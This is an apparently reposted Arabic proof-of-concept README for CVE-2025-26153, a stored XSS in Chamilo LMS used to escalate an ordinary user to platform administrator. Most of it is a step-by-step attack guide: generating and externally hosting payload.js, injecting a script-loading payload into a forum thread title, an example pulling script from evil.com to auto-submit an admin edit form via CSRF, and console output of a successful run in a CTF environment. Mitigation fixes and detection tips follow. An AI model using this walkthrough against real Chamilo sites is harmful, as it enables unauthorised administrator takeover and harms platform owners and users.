Chamilo LMS (<= v2.0) - POC لتصعيد الامتيازات عبر XSS مخزّن [CVE-2025-26153]

نظرة عامة

يحتوي هذا المستودع على برهان إثبات يوضح ثغرة النصوص البرمجية عبر المواقع المخزنة (Stored XSS) في Chamilo LMS يمكن استغلالها لتحقيق تصعيد الامتيازات من مستخدم عادي إلى مسؤول المنصة. هذه الثغرة مفهرسة ومصححة: https://nvd.nist.gov/vuln/detail/CVE-2025-26153

تفاصيل الثغرة

معلومات CVE

• التطبيق: Chamilo LMS <= v2.0
• نوع الثغرة: XSS مخزّن يؤدي إلى تصعيد الامتيازات

التفاصيل التقنية

مواضع الكود المعرّضة للثغرة:

1. /public/main/forum/forumqualify.php - السطر 277

   root@kitploit:~

   $form->addLabel(get_lang('Thread'), $threadEntity->getTitle());
   

2. /public/main/forum/viewforum.php - السطر 369

   root@kitploit:~

   .$thread->getTitle().'</a>';
   

3. يوجد المزيد!

السبب الجذري:

• عناوين مواضيع المنتدى تُخزَّن دون تعقيم مناسب
• تُعرض عناوين المواضيع دون ترميز HTML في عدة مواضع
• لا توجد سياسة أمان المحتوى (CSP) لمنع تنفيذ XSS

دليل تصعيد الامتيازات خطوة بخطوة

المرحلة 1: جمع البيانات

الخطوة 1: جمع معلومات المستخدم المستهدف

1. سجّل الدخول إلى Chamilo LMS
2. انتقل إلى Social Network -> Personal Data
3. افتح user_info ولاحظ المعلومات التالية:
   • معرف المستخدم
   • اسم المستخدم
   • الاسم الأول
   • اسم العائلة
   • عنوان البريد الإلكتروني

الخطوة 2: توليد حمولة مخصصة

1. نفّذ مولّد الحمولة:
   root@kitploit:~

   python generate_payload.py
   

2. أدخل معرف المستخدم المستهدف من الخطوة 1
3. أدخل معلومات الوصف التي لا تريد تغييرها (أو حدد قيمًا جديدة)
4. سينشئ السكربت ملف payload.js مخصصًا

الخطوة 3: استضافة الحمولة خارجيًا

1. ارفع ملف payload.js المُنشأ إلى خدمة استضافة عامة:
   • GitHub Gist (موصى به)
   • GitHub Pages
   • خادم الويب الخاص بك
2. دوّن عنوان URL المباشر لملف الحمولة

المرحلة 2: حقن XSS وتنفيذه

الخطوة 4: الوصول إلى المجموعات الاجتماعية

1. سجّل الدخول إلى Chamilo LMS (يمكن استخدام أي حساب مستخدم)
2. انتقل إلى Social Network -> Social groups

الخطوة 5: الانضمام إلى مجموعة اجتماعية أو إنشاؤها

1. انضم إلى مجموعة اجتماعية موجودة، أو
2. أنشئ مجموعة اجتماعية جديدة إذا لزم الأمر

الخطوة 6: نشر حمولة XSS

1. أنشئ موضوعًا جديدًا في المجموعة الاجتماعية
2. في حقل عنوان الموضوع، أدخل حمولة XSS التالية:
   root@kitploit:~

   eval(x.responseText);x.send()">
   

3. استبدل YOUR-HOST-SERVER بعنوان الاستضافة الفعلي الخاص بك
4. أرسل الموضوع

الخطوة 7: تشغيل تصعيد الامتيازات

1. انتظر حتى يقوم مستخدم بصلاحيات مسؤول بعرض المجموعة الاجتماعية
2. عندما يعرض المسؤول الموضوع الخبيث، تُنفَّذ حمولة XSS تلقائيًا في الخلفية
3. لا يحدث تصعيد الامتيازات بصمت - سيتم إعادة توجيه المسؤول إلى قائمة المستخدمين
4. سيتم ترقية المستخدم المستهدف المحدد إلى مسؤول منصة دون أي مؤشر مرئي

المرحلة 3: التحقق

الخطوة 8: تأكيد تصعيد الامتيازات

1. سجّل الدخول كمستخدم مستهدف
2. تحقق مما إذا كانت صلاحيات المسؤول قد مُنحت
3. تأكد من الوصول إلى وظائف الإدارة

استخدام مولّد الحمولة

يتيح سكربت generate_payload.py تخصيص هجوم تصعيد الامتيازات:

معاملات الإدخال:

• معرف المستخدم المستهدف
• اسم مستخدم جديد
• كلمة مرور جديدة (اختياري)
• الرمز الرسمي
• عنوان البريد الإلكتروني
• الاسم الأول، اسم العائلة، الهاتف (اختياري)

مثال على سير الهجوم

1. Attacker creates malicious forum thread
   └── Title: <script src=//evil.com/payload.js></script>

2. Admin user browses forum and views thread
   └── Browser loads and executes external JavaScript

3. Payload creates hidden form with privilege escalation data
   └── Targets specific User ID for promotion to admin

4. Form auto-submits via CSRF attack
   └── Uses admin's session cookies automatically

5. Target user becomes platform administrator
   └── Attacker gains full platform control

استراتيجيات التخفيف

إصلاحات فورية

1. تعقيم الإدخال

   root@kitploit:~

   // Before
   $threadEntity->getTitle()
   
   // After  
   htmlspecialchars($threadEntity->getTitle(), ENT_QUOTES, 'UTF-8')
   

2. ترميز المخرجات

   root@kitploit:~

   <!-- Before -->
   {{ thread.title }}
   
   <!-- After -->
   {{ thread.title|escape }}
   

3. سياسة أمان المحتوى

   root@kitploit:~

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
   

حلول طويلة الأجل

• تنفيذ إطار شامل للتحقق من صحة الإدخال
• مراجعات أمنية منتظمة للكود
• اختبارات أمنية آلية في خط أنابيب CI/CD
• تدريب أمني لفريق التطوير

الاكتشاف والمراقبة

تحليل السجلات

راقب ما يلي:

• إنشاء/تعديل مستخدمين بصلاحيات مسؤول بشكل غير معتاد
• عناوين مواضيع منتدى مشبوهة تحتوي على HTML/JavaScript
• تحميل نصوص برمجية خارجية من نطاقات غير موثوقة

إخلاء مسؤولية قانوني

إشعار قانوني مهم

يُقدَّم برهان الإثبات هذا لأغراض تعليمية واختبارات أمنية مصرح بها فقط.

• استخدمه فقط ضد أنظمة تملكها أو لديك إذن كتابي صريح لاختبارها
• الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني في معظم الدول
• يهدف هذا البحث إلى مساعدة المؤسسات على تحسين وضعها الأمني
• المؤلفون غير مسؤولين عن أي إساءة استخدام لهذه المعلومات

الاعتمادات البحثية

الاكتشاف والتحليل: US Cyber Combine

بيئة الاختبار: USCG CTF Environment

مخرجات وحدة التحكم من هجوم ناجح:

XSS Payload loaded successfully!
Target User ID: 9
Current location: http://cve-hunting.ctf.uscybergames.com:8000/resources/usergroups/show/5
Form created with action: http://cve-hunting.ctf.uscybergames.com:8000/main/admin/user_edit.php?user_id=9
Submitting privilege escalation form for user_id 9
Form has 66 fields
Form submission triggered!
Fetch response status: 200